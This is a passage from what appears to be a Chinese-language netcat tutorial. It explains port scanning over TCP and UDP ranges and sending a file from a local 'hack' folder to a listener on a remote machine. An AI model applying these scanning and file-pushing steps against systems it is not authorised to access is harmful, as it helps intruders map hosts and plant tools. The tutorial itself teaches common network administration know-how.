//可以看到我機(jī)器上的1-200的TCP端口的開放情況
nc -v -z -u ip port-port
//這個命令比上個命令多了個-u,這個命令的作用仍然是掃描端口,只是多一個-u的參數(shù),是用來掃UDP端口的
例如:
nc -v -z -u ip 1-200 //這個命令就會掃1-200的UDP端口
命令4:傳送文件(HOHO,I LIKE)
LOCAL MACHINE:nc -v -n ip port < x:\svr.exe
REMOTE MACHINE:nc -v -l -p port > y:\svr.exe
參數(shù)解釋:
-n:指定數(shù)字的IP地址
這兩個命令結(jié)合起來是用來傳送文件的
首先,在遠(yuǎn)程機(jī)上運(yùn)行命令:
nc -v -l -p 5277 > c:\pulist.exe
這個命令還記的嗎?呵呵,是不是和監(jiān)聽命令有點(diǎn)類似,對,沒錯,這個是監(jiān)聽5277端口
并把接受到的信息數(shù)據(jù)寫到c:\pulist.exe中
這時候在本地機(jī)上運(yùn)行
nc -v -n ip 5277 < e:\hack\pulist.exe
這個命令的意思就是,從本地E盤跟目錄中讀取pulist.exe文件的內(nèi)容,并把這些數(shù)據(jù)發(fā)送到ip的5277端口上
這樣遠(yuǎn)程主機(jī)就會自動創(chuàng)建一個pulist.exe文件。
以上就是本文的全部內(nèi)容,希望對大家的學(xué)習(xí)有所幫助,也希望大家多多支持腳本之家。